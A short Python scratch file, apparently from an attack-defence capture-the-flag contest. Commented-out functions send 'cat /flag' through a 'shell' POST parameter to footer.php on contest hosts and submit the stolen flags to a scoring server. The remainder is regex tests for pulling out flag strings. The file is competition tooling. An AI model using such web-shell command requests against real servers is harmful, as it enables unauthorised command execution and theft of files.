import requests
import re

# def get_flag():
#     for i in range(8802,8804):
#         url='http://121.40.173.182:'+str(i)+'/footer.php'
#         data={
#             'shell':'cat /flag'
#         }
#         result=requests.post(url=url,data=data,timeout=1).content.decode('utf-8')
#         print(result)
#         with open(r'result.txt','a+') as f:
#             f.write(result+'\n')
#             f.close()
#
# def post_flag():
#     for flag in open('result.txt'):
#         flag=flag.replace('\n','')
#         url='http://121.40.173.182:8080/flag_file.php?token=team1&flag='+flag
#         result=requests.get(url=url).status_code
#         if result==200:
#             print(flag+'提交成功')
#
# if __name__ == '__main__':
#     get_flag()
#     post_flag()
# r=requests.get(url='http://www.baidu.com')
# print(r.text,type(r.text))
# flag='aaaaflag{194ufjfojeo[afjrj}bsferfsa {aaaa}'
# flag1='{aaa}'
# pattern = r"\{.*\}"
# result=re.match(pattern,flag1)
# print(result.group())
# data="Flag：flag{aaafd_32u49_jifj}"
# pattern = r"Flag: (\w+)"
# match = re.match(pattern, data)
# # flag = match.group(1)
# print(match.group())
ip=[107,1,2,3,4]
for i in ip:
    print(i)